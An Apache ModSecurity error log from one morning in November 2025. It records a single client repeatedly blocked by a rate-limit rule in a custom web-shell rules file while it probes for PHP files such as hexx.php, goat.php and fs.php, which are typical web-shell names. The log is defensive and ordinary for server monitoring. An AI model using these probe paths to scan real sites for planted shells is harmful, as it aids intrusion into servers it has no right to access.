[Wed Nov 19 06:09:47.260849 2025] [:error] [pid 6554:tid 6578] [client 48.210.231.218:35720] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jmfi2.php"] [unique_id "aRzuq98rvPWLafJFqmU6lAAAABI"]
[Wed Nov 19 06:09:48.303108 2025] [:error] [pid 6919:tid 6936] [client 48.210.231.218:35833] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jmfi2.php"] [unique_id "aRzurEYFdN1s_9xJVUl-TgAAAQ4"]
[Wed Nov 19 06:09:48.999470 2025] [:error] [pid 6644:tid 6649] [client 48.210.231.218:35715] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jmfi2.php"] [unique_id "aRzurE0i6Rf788MB6sa2vQAAAMM"]
[Wed Nov 19 06:09:53.462502 2025] [:error] [pid 6555:tid 6614] [client 48.210.231.218:35790] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jmfi2.php"] [unique_id "aRzusUbVJm8eMsGMTCNwTgAAAFc"]
[Wed Nov 19 06:09:58.270575 2025] [:error] [pid 6919:tid 6946] [client 48.210.231.218:35837] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.1.php"] [unique_id "aRzutkYFdN1s_9xJVUl-YAAAARg"]
[Wed Nov 19 06:10:01.613355 2025] [:error] [pid 6555:tid 6603] [client 48.210.231.218:35740] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.1.php"] [unique_id "aRzuuUbVJm8eMsGMTCNwWgAAAEw"]
[Wed Nov 19 06:10:04.609220 2025] [:error] [pid 6919:tid 6923] [client 48.210.231.218:35832] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.1.php"] [unique_id "aRzuvEYFdN1s_9xJVUl-cQAAAQE"]
[Wed Nov 19 06:10:06.772700 2025] [:error] [pid 6919:tid 6924] [client 48.210.231.218:35716] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.1.php"] [unique_id "aRzuvkYFdN1s_9xJVUl-dwAAAQI"]
[Wed Nov 19 06:10:08.216217 2025] [:error] [pid 6555:tid 6613] [client 48.210.231.218:35722] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "aRzuwEbVJm8eMsGMTCNwZgAAAFY"]
[Wed Nov 19 06:10:09.925467 2025] [:error] [pid 6919:tid 6943] [client 48.210.231.218:35653] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "aRzuwUYFdN1s_9xJVUl-fQAAARU"]
[Wed Nov 19 06:10:11.005314 2025] [:error] [pid 6919:tid 6936] [client 48.210.231.218:35648] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "aRzuw0YFdN1s_9xJVUl-ggAAAQ4"]
[Wed Nov 19 06:10:11.413332 2025] [:error] [pid 6919:tid 6931] [client 48.210.231.218:35734] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "aRzuw0YFdN1s_9xJVUl-gwAAAQk"]
[Wed Nov 19 06:10:12.839335 2025] [:error] [pid 6554:tid 6579] [client 48.210.231.218:35602] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "aRzuxN8rvPWLafJFqmU6tgAAABM"]
[Wed Nov 19 06:10:14.079582 2025] [:error] [pid 6554:tid 6561] [client 48.210.231.218:35667] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "aRzuxt8rvPWLafJFqmU6uQAAAAI"]
[Wed Nov 19 06:10:14.792066 2025] [:error] [pid 6644:tid 6656] [client 48.210.231.218:35729] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "aRzuxk0i6Rf788MB6sa25AAAAMo"]
[Wed Nov 19 06:10:15.606107 2025] [:error] [pid 6644:tid 6649] [client 48.210.231.218:35649] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "aRzux00i6Rf788MB6sa25wAAAMM"]
[Wed Nov 19 06:10:16.733562 2025] [:error] [pid 6644:tid 6654] [client 48.210.231.218:35815] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CLA.php"] [unique_id "aRzuyE0i6Rf788MB6sa27AAAAMg"]
[Wed Nov 19 06:10:39.348793 2025] [:error] [pid 6556:tid 6620] [client 48.210.231.218:35663] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hexx.php"] [unique_id "aRzu35uL7hhgrmdM1mtcMQAAAII"]
[Wed Nov 19 06:10:40.072215 2025] [:error] [pid 6554:tid 6577] [client 48.210.231.218:35793] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hexx.php"] [unique_id "aRzu4N8rvPWLafJFqmU66gAAABE"]
[Wed Nov 19 06:10:41.434776 2025] [:error] [pid 6919:tid 6936] [client 48.210.231.218:35665] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hexx.php"] [unique_id "aRzu4UYFdN1s_9xJVUl-vQAAAQ4"]
[Wed Nov 19 06:10:42.378979 2025] [:error] [pid 6919:tid 6946] [client 48.210.231.218:35820] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hexx.php"] [unique_id "aRzu4kYFdN1s_9xJVUl-wQAAARg"]
[Wed Nov 19 06:10:43.463272 2025] [:error] [pid 6556:tid 6641] [client 48.210.231.218:35677] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/444.php"] [unique_id "aRzu45uL7hhgrmdM1mtcOgAAAJc"]
[Wed Nov 19 06:10:44.245986 2025] [:error] [pid 6555:tid 6598] [client 48.210.231.218:35719] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/444.php"] [unique_id "aRzu5EbVJm8eMsGMTCNwkgAAAEc"]
[Wed Nov 19 06:10:46.075662 2025] [:error] [pid 6919:tid 6939] [client 48.210.231.218:35597] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/444.php"] [unique_id "aRzu5kYFdN1s_9xJVUl-yQAAARE"]
[Wed Nov 19 06:10:47.278240 2025] [:error] [pid 6554:tid 6572] [client 48.210.231.218:35758] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/444.php"] [unique_id "aRzu598rvPWLafJFqmU68wAAAAw"]
[Wed Nov 19 06:10:50.487092 2025] [:error] [pid 6556:tid 6634] [client 48.210.231.218:35766] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "aRzu6puL7hhgrmdM1mtcQgAAAJA"]
[Wed Nov 19 06:10:53.232264 2025] [:error] [pid 6919:tid 6928] [client 48.210.231.218:35678] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "aRzu7UYFdN1s_9xJVUl-2gAAAQY"]
[Wed Nov 19 06:10:56.401670 2025] [:error] [pid 6555:tid 6607] [client 48.210.231.218:35741] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "aRzu8EbVJm8eMsGMTCNwmgAAAFA"]
[Wed Nov 19 06:10:58.012209 2025] [:error] [pid 6644:tid 6656] [client 48.210.231.218:35829] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "aRzu8k0i6Rf788MB6sa3QwAAAMo"]
[Wed Nov 19 06:10:59.476245 2025] [:error] [pid 6555:tid 6598] [client 48.210.231.218:35771] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cfile.php"] [unique_id "aRzu80bVJm8eMsGMTCNwnQAAAEc"]
[Wed Nov 19 06:11:00.206073 2025] [:error] [pid 6919:tid 6932] [client 48.210.231.218:35787] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cfile.php"] [unique_id "aRzu9EYFdN1s_9xJVUl-7QAAAQo"]
[Wed Nov 19 06:11:00.927321 2025] [:error] [pid 6919:tid 6924] [client 48.210.231.218:35671] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cfile.php"] [unique_id "aRzu9EYFdN1s_9xJVUl-8gAAAQI"]
[Wed Nov 19 06:11:01.965801 2025] [:error] [pid 6556:tid 6638] [client 48.210.231.218:35762] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cfile.php"] [unique_id "aRzu9ZuL7hhgrmdM1mtcagAAAJQ"]
[Wed Nov 19 06:11:03.564424 2025] [:error] [pid 6554:tid 6581] [client 48.210.231.218:35717] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aRzu998rvPWLafJFqmU7IAAAABU"]
[Wed Nov 19 06:11:04.130653 2025] [:error] [pid 6644:tid 6659] [client 48.210.231.218:35713] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aRzu-E0i6Rf788MB6sa3TwAAAM0"]
[Wed Nov 19 06:11:04.997613 2025] [:error] [pid 6644:tid 6663] [client 48.210.231.218:35760] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aRzu-E0i6Rf788MB6sa3UQAAANE"]
[Wed Nov 19 06:11:06.155482 2025] [:error] [pid 6555:tid 6605] [client 48.210.231.218:35822] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aRzu-kbVJm8eMsGMTCNwpwAAAE4"]
[Wed Nov 19 06:11:06.786430 2025] [:error] [pid 6644:tid 6647] [client 48.210.231.218:35830] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat.php"] [unique_id "aRzu-k0i6Rf788MB6sa3WQAAAME"]
[Wed Nov 19 06:11:07.261256 2025] [:error] [pid 6644:tid 6666] [client 48.210.231.218:35818] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat.php"] [unique_id "aRzu-00i6Rf788MB6sa3WwAAANQ"]
[Wed Nov 19 06:11:07.708463 2025] [:error] [pid 6556:tid 6620] [client 48.210.231.218:35759] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat.php"] [unique_id "aRzu-5uL7hhgrmdM1mtccQAAAII"]
[Wed Nov 19 06:11:09.152499 2025] [:error] [pid 6644:tid 6646] [client 48.210.231.218:35624] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat.php"] [unique_id "aRzu_U0i6Rf788MB6sa3YQAAAMA"]
[Wed Nov 19 06:11:11.519364 2025] [:error] [pid 6919:tid 6938] [client 48.210.231.218:35744] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aRzu_0YFdN1s_9xJVUl_BQAAARA"]
[Wed Nov 19 06:11:13.471622 2025] [:error] [pid 6555:tid 6609] [client 48.210.231.218:35727] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aRzvAUbVJm8eMsGMTCNwsgAAAFI"]
[Wed Nov 19 06:11:14.398768 2025] [:error] [pid 6644:tid 6667] [client 48.210.231.218:35795] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aRzvAk0i6Rf788MB6sa3bAAAANU"]
[Wed Nov 19 06:11:16.147675 2025] [:error] [pid 6554:tid 6574] [client 48.210.231.218:35658] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aRzvBN8rvPWLafJFqmU7LwAAAA4"]
[Wed Nov 19 06:11:18.046935 2025] [:error] [pid 6919:tid 6923] [client 48.210.231.218:35659] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aRzvBkYFdN1s_9xJVUl_JgAAAQE"]
[Wed Nov 19 06:11:19.750069 2025] [:error] [pid 6919:tid 6931] [client 48.210.231.218:35709] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aRzvB0YFdN1s_9xJVUl_KAAAAQk"]
[Wed Nov 19 06:11:21.917314 2025] [:error] [pid 6555:tid 6614] [client 48.210.231.218:35670] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aRzvCUbVJm8eMsGMTCNwuwAAAFc"]
[Wed Nov 19 06:11:23.208036 2025] [:error] [pid 6919:tid 6940] [client 48.210.231.218:35688] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aRzvC0YFdN1s_9xJVUl_KgAAARI"]
[Wed Nov 19 06:11:25.553429 2025] [:error] [pid 6919:tid 6931] [client 48.210.231.218:35807] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vast.php"] [unique_id "aRzvDUYFdN1s_9xJVUl_NAAAAQk"]
[Wed Nov 19 06:11:27.328815 2025] [:error] [pid 6554:tid 6563] [client 48.210.231.218:35755] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vast.php"] [unique_id "aRzvD98rvPWLafJFqmU7PgAAAAQ"]
[Wed Nov 19 06:11:30.056357 2025] [:error] [pid 6644:tid 6648] [client 48.210.231.218:35691] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vast.php"] [unique_id "aRzvEk0i6Rf788MB6sa3ngAAAMI"]
[Wed Nov 19 06:11:33.492102 2025] [:error] [pid 6919:tid 6940] [client 48.210.231.218:35761] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vast.php"] [unique_id "aRzvFUYFdN1s_9xJVUl_ZwAAARI"]
[Wed Nov 19 06:11:36.400473 2025] [:error] [pid 6556:tid 6636] [client 48.210.231.218:35772] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yanki.php"] [unique_id "aRzvGJuL7hhgrmdM1mtcvQAAAJI"]
[Wed Nov 19 06:12:00.865773 2025] [:error] [pid 6554:tid 6574] [client 48.210.231.218:35786] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gfile1.php"] [unique_id "aRzvMN8rvPWLafJFqmU7gwAAAA4"]
[Wed Nov 19 06:12:03.243231 2025] [:error] [pid 6554:tid 6571] [client 48.210.231.218:35712] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gfile1.php"] [unique_id "aRzvM98rvPWLafJFqmU7igAAAAs"]
[Wed Nov 19 06:12:05.049813 2025] [:error] [pid 6554:tid 6581] [client 48.210.231.218:35745] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gfile1.php"] [unique_id "aRzvNd8rvPWLafJFqmU7kAAAABU"]
